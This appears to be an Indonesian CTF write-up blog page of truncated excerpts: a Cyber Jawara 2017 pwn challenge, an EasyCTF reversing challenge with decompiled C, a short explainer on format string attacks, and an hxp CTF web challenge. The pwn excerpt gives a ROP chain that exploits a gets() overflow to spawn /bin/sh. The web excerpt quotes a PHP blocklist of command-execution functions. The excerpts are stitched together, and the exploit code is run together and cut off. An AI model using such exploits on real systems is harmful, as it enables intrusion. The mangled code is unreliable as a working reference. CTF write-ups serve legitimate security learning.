Cyber Jawara 2017 Final - echo (pwn 200)
Diberikan sebuah file elf binary 64 bit dengan nama echo
Dengan proteksi sebagai berikut
Berikut adalah hasil decompile menggunakan IDA pro
Dari hasil decompile IDA pro dipastikan binary tersebut vulnerable terhadap Buffer Overflow karena menggunakan fungsi “gets()” yang tidak memfilter panjang inputan.
Dengan asumsi bahwa ASLR pada mesin dalam keadaan ON dan binary tersebut di proteksi dengan NX bit yang tidak memungkinkan untuk eksekusi shellcode, sehingga teknik yang digunakan adalah ROP ( Return Oriented Programming).
Cyber Jawara 2017 Final - echo (pwn 200)
fromstruct importpack
Padding goes herep ='A’*10008p +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .datap +=pack(’<Q’, 0x0000000000479ce6) # pop rax ; pop rdx ; pop rbx ; retp +=’/bin//sh’p +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb088) # @ .data + 8p +=pack(’<Q’, 0x000000000042695f) # xor rax, rax ; retp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x00000000004005d5) # pop rdi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .
EasyCTF IV 2018 - Reversing
Liar Diberikan sebuah file binary 64-bit not stripped
Hasil decompile fungsi main()
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@12 __int64 v4; // rdi@12 int n; // [sp+Ch] [bp-14h]@1 int i; // [sp+10h] [bp-10h]@1 int m; // [sp+14h] [bp-Ch]@1 __int64 v8; // [sp+18h] [bp-8h]@1 v8 = *MK_FP(FS, 40LL); __isoc99_scanf(&unk_A64, &n, envp); f[30] = 160LL; f[10] = 47LL; f[13] = 4LL; f[25] = 205LL; f[5] = 87LL; f[24] = 247LL; f[6] = 76LL; f[31] = 176LL; f[7] = 74LL; f[34] = 154LL; f[21] = 231LL; f[32] = 135LL; f[8] = 75LL; f[1] = 102LL; f[9] = 75LL; f[28] = 232LL; f[29] = 148LL; f[3] = 108LL; f[11] = 33LL; f[4] = 127LL; f[14] = 21LL; f[18] = 89LL; f[16] = 3LL; f[26] = 215LL; f[20] = 211LL; f[15] = 8LL; f[17] = 25LL; f[27] = 217LL; f[0] = 101LL; f[33] = 143LL; f[22] = 245LL; f[19] = 241LL; f[12] = 56LL; f[36] = 129LL; f[23] = 206LL; f[2] = 125LL; f[35] = 202LL; m = n ^ 0x58EB29; for ( i = 0; i <= 36; ++i ) g[i] = m * i ^ (unsigned __int64)f[i]; g[i] = 0; if ( g[0] == 101 && g[1] == 97 && g[2] == 115 && g[3] == 121 && g[4] == 99 && g[5] == 116 && g[6] == 102 ) printf("the flag is %s\n", g); result = 0; v4 = *MK_FP(FS, 40LL) ^ v8; return result; } Dimana pada potongan code berikut
Format String Attack
Format String Attack Format String Attack adalah vulnerability yang memanfaatkan format specifiers yang dimana dapat dimanfaatkan untuk melakukan read/write pada memory. Fungsi printf family seperti (printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf) tergolong kedalam fungsi yang vulnerable Format String Attack.
Format String Attack terjadi karena inputan user langsung di render oleh fungsi yang menggunakan prinsip Format Specifier (seperti printf family) sehingga nilai-nilai yang berada pada memory dapat diread/write.
hxp CTF 2017 - cloud18 (web 150)
Diberikan sebuah website beserta source code nya. Tampilan awal web tersebut hanya terdapat form login dan register. fungsi web tersebut adalah online editor, fungsi editor sendiri akan muncul setelah user login. Berikut daftar file source code yang diberikan
Snippet editor.phpif (preg_match("/exec|system|passthru|`|proc_open|popen/", strtolower($_POST["method"].$_POST["text"])) != 0) { exit("Do you really think you could pass something to the command line? Functions like this are often disabled! Maybe have a look at the source?"); } .